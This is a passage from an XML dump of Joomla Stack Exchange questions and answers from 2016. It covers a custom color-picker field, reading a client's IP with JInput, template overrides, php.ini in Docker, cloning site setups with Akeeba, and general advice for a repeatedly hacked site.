true to enable the opacity slider.&#xA;    $opacity = $this-&amp;gt;element['opacity'];&#xA;&#xA;    // Position of the panel can be: right (default), left, top or bottom&#xA;    $position = ' data-position=&quot;' . $this-&amp;gt;position . '&quot;';&#xA;&#xA;    $onchange  = !empty($this-&amp;gt;onchange) ? ' onchange=&quot;' . $this-&amp;gt;onchange . '&quot;' : '';&#xA;    $class     = $this-&amp;gt;class;&#xA;    $required  = $this-&amp;gt;required ? ' required aria-required=&quot;true&quot;' : '';&#xA;    $disabled  = $this-&amp;gt;disabled ? ' disabled' : '';&#xA;    $autofocus = $this-&amp;gt;autofocus ? ' autofocus' : '';&#xA;&#xA;    $color = strtolower($this-&amp;gt;value);&#xA;&#xA;    if (!$color || in_array($color, array('none', 'transparent')))&#xA;    {&#xA;      $color = 'none';&#xA;    }&#xA;&#xA;    $class        = ' class=&quot;' . trim('minicolors ' . $class) . '&quot;';&#xA;    $control      = $control ? ' data-control=&quot;' . $control . '&quot;' : '';&#xA;    $format       = $format ? ' data-format=&quot;' . $format . '&quot;' : '';&#xA;    $opacity      = $opacity ? ' data-opacity=&quot;' . $opacity . '&quot;' : '';&#xA;    $readonly     = $this-&amp;gt;readonly ? ' readonly' : '';&#xA;    $hint         = $hint ? ' placeholder=&quot;' . $hint . '&quot;' : ' placeholder=&quot;rgba(0, 0, 0, 1)&quot;';&#xA;    $autocomplete = !$this-&amp;gt;autocomplete ? ' autocomplete=&quot;off&quot;' : '';&#xA;&#xA;    // Including fallback code for HTML5 non supported browsers.&#xA;    JHtml::_('jquery.framework');&#xA;    JHtml::_('script', 'system/html5fallback.js', false, true);&#xA;&#xA;    // Include jQuery&#xA;    JHtml::_('jquery.framework');&#xA;&#xA;    // We must include our custom minicolors, since Joomla! has outdated version&#xA;    // See: https://github.com/claviska/jquery-minicolors/&#xA;    JHtml::_('script', 'PATH_TO_CUSTOM_MINICOLORS/jquery.minicolors.min.js', false, true);&#xA;    JHtml::_('stylesheet', 'PATH_TO_CUSTOM_MINICOLORS/jquery.minicolors.css', false, true);&#xA;&#xA;    JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;        jQuery(document).ready(function (){&#xA;          jQuery('input.minicolors').each(function() {&#xA;            jQuery(this).minicolors({&#xA;              control: jQuery(this).attr('data-control') || 'hue',&#xA;              position: jQuery(this).attr('data-position') || 'right',&#xA;              format: jQuery(this).attr('data-format') || 'hex',&#xA;              opacity: jQuery(this).attr('data-opacity') || false,&#xA;              theme: 'bootstrap'&#xA;            });&#xA;          });&#xA;        });&#xA;      &quot;&#xA;    );&#xA;&#xA;    return '&amp;lt;input type=&quot;text&quot; name=&quot;' . $this-&amp;gt;name . '&quot; id=&quot;' . $this-&amp;gt;id . '&quot;' . ' value=&quot;'&#xA;      . htmlspecialchars($color, ENT_COMPAT, 'UTF-8') . '&quot;' . $hint . $class . $position . $control . $format . $opacity&#xA;      . $readonly . $disabled . $required . $onchange . $autocomplete . $autofocus . '/&amp;gt;';&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-04-04T07:10:23.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15984" PostTypeId="2" ParentId="15979" CreationDate="2016-04-04T11:55:46.760" Score="3" Body="&lt;p&gt;Make an override of &lt;code&gt;com_content/views/form/tmpl/edit.php&lt;/code&gt; in your template and move this row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('catid'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the &lt;code&gt;&amp;lt;div class='tab-pane'&amp;gt;&lt;/code&gt; that you want.&#xA;You can easily change the order of every field, just pay attention to keep this rows inside form and fieldset tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoid editing the xml file, or on next joomla updates you could lose custom edits.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-04T11:55:46.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15985" PostTypeId="1" CreationDate="2016-04-04T12:11:34.787" Score="1" ViewCount="107" Body="&lt;p&gt;In my custom components I often use &lt;strong&gt;filters and searchbar&lt;/strong&gt; for views based on &lt;strong&gt;JModelList&lt;/strong&gt; structure. It's clear for me how to set up model/view params and filters, but I'm not sure of the default.php code to print filters (even if it works).&#xA;This is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form class='filter-form'&amp;gt;&#xA;&amp;lt;?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' =&amp;gt; $this)); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it correct to add manually a form or is there a Joomla way to do it? Should I add some attributes to the form tag?&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-04T12:11:34.787" Title="Frontend filters form should be added manually?" Tags="|content-filtering|joomla-3.5|jlayout|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15988" PostTypeId="1" AcceptedAnswerId="15989" CreationDate="2016-04-04T13:26:37.337" Score="6" ViewCount="5425" Body="&lt;p&gt;I want to store the user's IP address in a Joomla 3.5 component;&#xA;with 2.5, I did a&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ip = JRequest::getVar('REMOTE_ADDR', '', 'SERVER');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is the most efficient way to get the IP address from a client using the JInput class, since JRequest is deprecated?&lt;/p&gt;&#xA;" OwnerUserId="7023" LastEditorUserId="5269" LastEditDate="2016-04-04T16:05:39.093" LastActivityDate="2016-04-06T06:38:04.130" Title="How can I grab the user's IP address?" Tags="|joomla-3.x|jinput|jrequest|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15989" PostTypeId="2" ParentId="15988" CreationDate="2016-04-04T13:42:12.290" Score="9" Body="&lt;p&gt;Please check this code -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;$ip = $jinput-&amp;gt;server-&amp;gt;get('REMOTE_ADDR', '', '');&#xA;&#xA;//Here default value and filter are null, so you can write &#xA;&#xA;$ip = $jinput-&amp;gt;server-&amp;gt;get('REMOTE_ADDR');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By this you can get the ip address.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-04-06T06:38:04.130" LastActivityDate="2016-04-06T06:38:04.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15990" PostTypeId="1" AcceptedAnswerId="15991" CreationDate="2016-04-04T14:06:12.657" Score="3" ViewCount="53" Body="&lt;p&gt;I wanted to have a fresh 3.5 install for an old site. I installed the &lt;code&gt;basic install&lt;/code&gt;, transfered all my data and then I realized that some modules I wanted were missing. Like &lt;code&gt;Who's online&lt;/code&gt; for example. Please tell me there is a way to get them without re-doing everything.&lt;br&gt;&#xA;Regards&lt;/p&gt;&#xA;" OwnerUserId="5691" LastActivityDate="2016-09-15T09:58:45.187" Title="How to insert Joomla! core modules after a basic install?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15991" PostTypeId="2" ParentId="15990" CreationDate="2016-04-04T15:15:10.890" Score="4" Body="&lt;p&gt;You can always create a new module from those which are installed, either by Joomla or by yourself.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By clicking the green New Module button in Module Manager, you can always see the list of modules which are installed, so you can create a new copy of the module you want.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-09-15T09:58:45.187" LastActivityDate="2016-09-15T09:58:45.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15992" PostTypeId="1" AcceptedAnswerId="18397" CreationDate="2016-04-04T17:27:24.227" Score="2" ViewCount="1418" Body="&lt;p&gt;I'm using a layout override to modify the cart module for Virtuemart, but the ajax request deletes part of my code when it updates. Because of this, I would like to change not only the template, but also the javascript routine the module calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could get the behavior I want quickly by altering the module itself, but I was wondering if I could clone the code (which is inside a js file, it is not a part of default.php) and place it inside the override, so that I don't have to fix it every time I update Virtuemart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible? Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2097" LastActivityDate="2022-01-18T17:41:05.357" Title="Is it possible to override js scripts?" Tags="|javascript|overrides|virtuemart|template-override|module-display|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15993" PostTypeId="1" AcceptedAnswerId="15995" CreationDate="2016-04-04T21:03:15.830" Score="5" ViewCount="104" Body="&lt;p&gt;I want to make &quot;My Own Joomla&quot;. Instead of creating my sites starting from vannilla blank Joomla installation, and then manually adding my favorite extensions and configuring my favorite options and settings, I want to make my own pre-made Joomla site, and to use it as &quot;template&quot; for my future sites, thus speeding up that process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the best practices in achieving such a goal?&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-04-04T22:47:59.083" Title="How to create my own Joomla distribution with the extensions I always use?" Tags="|joomla-3.x|integration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15994" PostTypeId="1" AcceptedAnswerId="15997" CreationDate="2016-04-04T22:32:47.110" Score="1" ViewCount="35" Body="&lt;p&gt;Is there any web site or forum that's OK to solicit beta testers for a Joomla Plugin? I'm developing a calendar plugin and I'd like to get more people to test it. If it seems like this is a redundant post, it's because StackExchange rejected my one-sentence post.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-04-05T10:53:04.440" Title="Soliciting Beta Testers" Tags="|joomla-3.x|development|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15995" PostTypeId="2" ParentId="15993" CreationDate="2016-04-04T22:47:59.083" Score="6" Body="&lt;p&gt;Once you have built your standard Joomla website with your preferred extensions and settings, take a backup of the website using Akeeba backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you build a new website, all you need to do is create the database and then use &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-kickstart.html&quot;&gt;Akeeba Kickstart&lt;/a&gt; and the backup file to create a new copy of your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this method to deploy your standard Joomla install only takes about 10 minutes or so from start to finish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The free versions of Akeeba Backup and Akeeba Kickstart work fine for this.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-04-04T22:47:59.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15997" PostTypeId="2" ParentId="15994" CreationDate="2016-04-05T05:04:25.377" Score="1" Body="&lt;p&gt;Some posible options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Joomla! &lt;a href=&quot;http://forum.joomla.org/viewforum.php?f=48&quot; rel=&quot;nofollow&quot;&gt;Forum&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Community in &lt;a href=&quot;https://plus.google.com/communities/103500906097842801714&quot; rel=&quot;nofollow&quot;&gt;Google+&lt;/a&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Joomla! group in &lt;a href=&quot;https://www.facebook.com/groups/joomlanospam&quot; rel=&quot;nofollow&quot;&gt;Facebook&lt;/a&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Official Joomla! Users Group in &lt;a href=&quot;https://www.linkedin.com/groups/52867&quot; rel=&quot;nofollow&quot;&gt;Linked In&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="120" LastEditDate="2016-04-05T10:53:04.440" LastActivityDate="2016-04-05T10:53:04.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15998" PostTypeId="2" ParentId="10735" CreationDate="2016-04-05T05:32:41.390" Score="0" Body="&lt;p&gt;Can you try this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$link = JRoute::_('write url');&#xA;$app-&gt;redirect($link,$msg);&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2016-04-05T05:32:41.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15999" PostTypeId="2" ParentId="15988" CreationDate="2016-04-05T07:15:53.713" Score="2" Body="&lt;p&gt;I put a one-liner - and it works similar to your answer, because I do not use the object $jinput more than once; again thank you Joomler +1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ip = JFactory::getApplication()-&amp;gt;input-&amp;gt;server-&amp;gt;get('REMOTE_ADDR','');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could remove the second parameter too. If so, the $ip will be set to null if REMOTE_ADDR is not available.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-04-05T07:15:53.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16000" PostTypeId="1" CreationDate="2016-04-05T07:18:24.387" Score="10" ViewCount="875" Body="&lt;p&gt;I have gone through with the &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot;&gt;JInput Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can access the JInput object like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we are retrieving more values, it would be useful to store the JInput object in a variable so we don’t need to call &lt;code&gt;JFactory::getApplication()&lt;/code&gt; every time we are doing that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To retrieve a value from JInput we need to use its get method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = $jinput-&amp;gt;get('varname', 'default_value', 'filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, it has 3 parameters:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the variable name&lt;/li&gt;&#xA;&lt;li&gt;the default value (defaults to null)&lt;/li&gt;&#xA;&lt;li&gt;the filter name (defaults to cmd)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And here comes my question regarding the 3rd parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make my own filter for &lt;code&gt;Jinput&lt;/code&gt;?&#xA;For example if I have to validate phone numbers or IP address then how can I make my own filter for that?&lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-04-05T07:30:11.253" LastActivityDate="2017-04-14T18:17:41.497" Title="How to create filters for Jinput?" Tags="|joomla-3.x|jinput|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16001" PostTypeId="1" AcceptedAnswerId="16013" CreationDate="2016-04-05T08:02:55.750" Score="1" ViewCount="4580" Body="&lt;p&gt;am using helix3 template and I need to hide the &quot;off canvas menu&quot; on large screens and make it appears only on tablets and mobile screens.&#xA;any help!&lt;/p&gt;&#xA;" OwnerUserId="8167" LastActivityDate="2021-10-19T10:04:41.543" Title="hide off canvas menu helix3" Tags="|module|helix3|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16003" PostTypeId="1" CreationDate="2016-04-05T09:14:49.133" Score="1" ViewCount="956" Body="&lt;p&gt;We are facing a weird problem. We have a site set-up in Joomla. The site is getting hacked on a regular basis and specifically during the weekends. The strange thing is, we see that a new user is added everytime the site gets hacked. Also that this user is provided with Admin rights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have removed the previous users and have restored the site but the issue is continuously happening for the past 4 weeks and we are absolutely clueless as to how this is happening. We have updated the Joomla version and have performed all that is necessary but the issue still keeps on happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help us out in case any of you have faced a similar situation ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="8169" LastEditorUserId="126" LastEditDate="2016-04-05T10:22:35.907" LastActivityDate="2016-04-07T21:18:45.243" Title="Site gets hacked and everytime a new user is created with Admin rights" Tags="|joomla-3.4|security|best-practices|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16004" PostTypeId="2" ParentId="16003" CreationDate="2016-04-05T10:10:36.970" Score="3" Body="&lt;p&gt;There are many resources you can find regarding a Joomla hacked site, either by googling it, or simply searching in this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some links:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2305/what-to-do-if-my-joomla-website-got-hacked&quot;&gt;What to do if my Joomla website got hacked?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/175/how-to-secure-a-new-joomla-installation&quot;&gt;How to secure a new Joomla installation?&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Security CheckList&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Make sure you read them carefully and take all actions that apply to secure your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, why you are constantly being hacked, even after updating Joomla:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you go through and read on the above links, you will realize that security isn't only a case of 1 thing, but many things combined. So for example some common issues: Someone knows your credentials (FTP, Hosting, Joomla, Database), you are hosting many other sites under your account and one remains vulnerable, an extension (can be disabled) is still out of date and insecure, your hosting company is inadequate to provide secure hosting, your server software is out-of-date and so on, or your own computers are infected and hackers gather sensitive information from them and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Of course, when a website has been already hacked, there is a full list of actions that must be taken, in order to clean it up and secure it. If you simply updated Joomla core, then most likely I could say that you still have a backdoor in your system. Likely the hackers have uploaded their malicious files and they still have control.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since website security isn't a simple topic, I would recommend to hire someone with the required experience to release you from the pain.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-04-07T21:18:45.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16005" PostTypeId="2" ParentId="16001" CreationDate="2016-04-05T10:21:52.250" Score="1" Body="&lt;p&gt;quick solution-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width: 1600px) {&#xA;  .offcanvas-menu, #offcanvas-toggler {display:none;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just add this to the custom css code.&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2016-04-05T10:21:52.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16007" PostTypeId="1" AcceptedAnswerId="16010" CreationDate="2016-04-05T11:17:16.237" Score="4" ViewCount="1757" Body="&lt;p&gt;I am using the joomla official docker container. The problem is that I need to install a component but I receive the following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Maximum PHP file upload size is too small: This is set in php.ini in both upload_max_filesize and post_max_size settings of your PHP settings&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I known that I have to edit this php variables in order to install the component. I don't known where is the php.ini file. I already run the phpinfo() function and get the path for the php configuration file in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/usr/local/etc/php&#xA;The problem is there are no php.ini file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change these php variables? How to find the php.ini file in the official joomla docker container?&lt;/p&gt;&#xA;" OwnerUserId="7958" LastEditorUserId="3650" LastEditDate="2016-04-05T12:28:27.780" LastActivityDate="2016-04-05T14:28:41.557" Title="Can't change php variables in joomla official docker container" Tags="|joomla-3.x|php|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16008" PostTypeId="2" ParentId="4616" CreationDate="2016-04-05T11:30:47.687" Score="1" Body="&lt;p&gt;I have recently seen this on a few sites and just discovered that it happens when the site is in offline mode and you are logged in to the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the site is online and you make up a url you get the standard error page with status code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the site is offline and you are logged in, you get redirected to /index.php with a 303 see other status code.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2016-04-05T11:30:47.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16009" PostTypeId="2" ParentId="16007" CreationDate="2016-04-05T13:48:44.003" Score="3" Body="&lt;p&gt;To be honest, I've never heard of Joomla Docker container before, which is OK, we all learn something new every day. Regarding your question, if your only problem is that Maximum PHP file upload size is too small, you might try alternative install method by expanding the extension installation archive file into a folder on your local machine, then uploading expanded content to /tmp folder of your site, and installing it from there, by using &quot;Install from Folder&quot; tab in &lt;code&gt;Extensions -&amp;gt; Manage -&amp;gt; Install&lt;/code&gt;. Just enter the location where you uploaded files and click on &quot;Install&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you don't need to chase php.ini file in Docker container. &lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-04-05T13:48:44.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16010" PostTypeId="2" ParentId="16007" CreationDate="2016-04-05T14:28:41.557" Score="4" Body="&lt;p&gt;I get this solution form stackoverflow:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You will have to provide your own php.ini file, and load that to the&#xA;  container as a volume. To do that, add the following flag to docker&#xA;  run command:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-v local/path/to/php.ini:/usr/local/etc/php/php.ini If you are using docker compose, update the volumes section of your joomla container&#xA;  definition to look like so:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;joomla_container:&#xA;      ...&#xA;      volumes:&#xA;        ...&#xA;        - local/path/to/php.ini:/usr/local/etc/php/php.ini You definitely shouldn't try to edit the configuration in a running&#xA;  container. If you'd do this, you'd loose all of your configuration&#xA;  together with the running container instance when you want to, for&#xA;  example, update the image.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The link for the answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/36425304/2486661&quot;&gt;https://stackoverflow.com/a/36425304/2486661&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7958" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-04-05T14:28:41.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16011" PostTypeId="1" CreationDate="2016-04-05T15:33:46.487" Score="2" ViewCount="259" Body="&lt;p&gt;It's been awhile since I've used Joomla and I'm trying to get back into it. I just uploaded a new template that supports Joomla 3.5 and the minute I change to the template, the menu at the top goes away and the one that the demo shows for the template doesn't appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that I need to change in Joomla after changing the template as well? I apologize for this question that may be answered somewhere already, but I'm really just having a hard time trying to find this information.&lt;/p&gt;&#xA;" OwnerUserId="8171" LastEditorUserId="1629" LastEditDate="2016-04-05T16:09:57.240" LastActivityDate="2016-04-05T16:09:57.240" Title="Menu disappears after changing template" Tags="|joomla-3.x|joomla-3.5|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16012" PostTypeId="2" ParentId="16011" CreationDate="2016-04-05T15:37:25.740" Score="4" Body="&lt;p&gt;Just figured this one out on my own. Had to go to the module and reassign positions to the new template. &lt;/p&gt;&#xA;" OwnerUserId="8172" LastActivityDate="2016-04-05T15:37:25.740" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16013" PostTypeId="2" ParentId="16001" CreationDate="2016-04-05T19:06:52.653" Score="0" Body="&lt;p&gt;First go to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Templates&lt;/strong&gt; &gt; &lt;strong&gt;Your Helix Template&lt;/strong&gt; &gt; &lt;strong&gt;Menu&lt;/strong&gt; Tab&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From here select in the option &lt;strong&gt;Menu Type&lt;/strong&gt; only &lt;strong&gt;Mega Menu&lt;/strong&gt;, this option hide the &lt;br/&gt;off canvas menu on large screens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for display the off canvas menu in tablet go to this path:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;your_site.com/templates/helix_template/features/menu.php&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Find this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;offcanvas-toggler&quot; class=&quot;visible-xs&quot; href=&quot;#&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-bars&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And add the values &lt;strong&gt;visible-sm&lt;/strong&gt; and &lt;strong&gt;visible-md&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a id=&quot;offcanvas-toggler&quot; class=&quot;visible-xs visible-sm visible-md&quot; href=&quot;#&quot;&amp;gt;&amp;lt;i class=&quot;fa fa-bars&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-04-05T19:06:52.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16014" PostTypeId="2" ParentId="16000" CreationDate="2016-04-05T19:36:37.810" Score="2" Body="&lt;p&gt;this is quite simple&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In first of it create an custom Jinput class such as &lt;code&gt;class JinputTelephone&lt;/code&gt; // what ever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;perhaps, have a look in existing inputfilter classes under /libraries/joomla/input&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Modify the getter and filterMethod as you want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Gets a value from the input data.&#xA; *&#xA; * @param   string  $name     Name of the value to get.&#xA; * @param   mixed   $default  Default value to return if variable does not exist.&#xA; * @param   string  $filter   Filter to apply to the value.&#xA; *&#xA; * @return  mixed  The filtered input value.&#xA; *&#xA; * @since   11.1&#xA; */&#xA;public function get($name, $default = null, $filter = 'cmd')&#xA;{&#xA;    if('phonyfilter'=== $filter){ &#xA;    // here we ca got with static filter classes like for formvalidation  or &#xA;    }        &#xA;    elseif (isset($this-&amp;gt;data[$name]))&#xA;    {&#xA;        return $this-&amp;gt;filter-&amp;gt;clean($this-&amp;gt;data[$name], $filter);&#xA;    }&#xA;&#xA;    return $default;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;// usage&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$phoneInput = new JinputTelephone();&#xA;$phoneInput-&amp;gt;get('anPhoneNumber','0040','phonyfilter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;// with this method you can also use the regular input handling&#xA;   // But you can't use it with JApplication an input &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many other ways to do that&#xA;Another solution&#xA;$data = MyFilter::SanitizeNumber($jinput-&gt;get('varname', 'default_value', 'raw'));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does it helps you?&lt;/p&gt;&#xA;" OwnerUserId="5594" LastActivityDate="2016-04-05T19:36:37.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
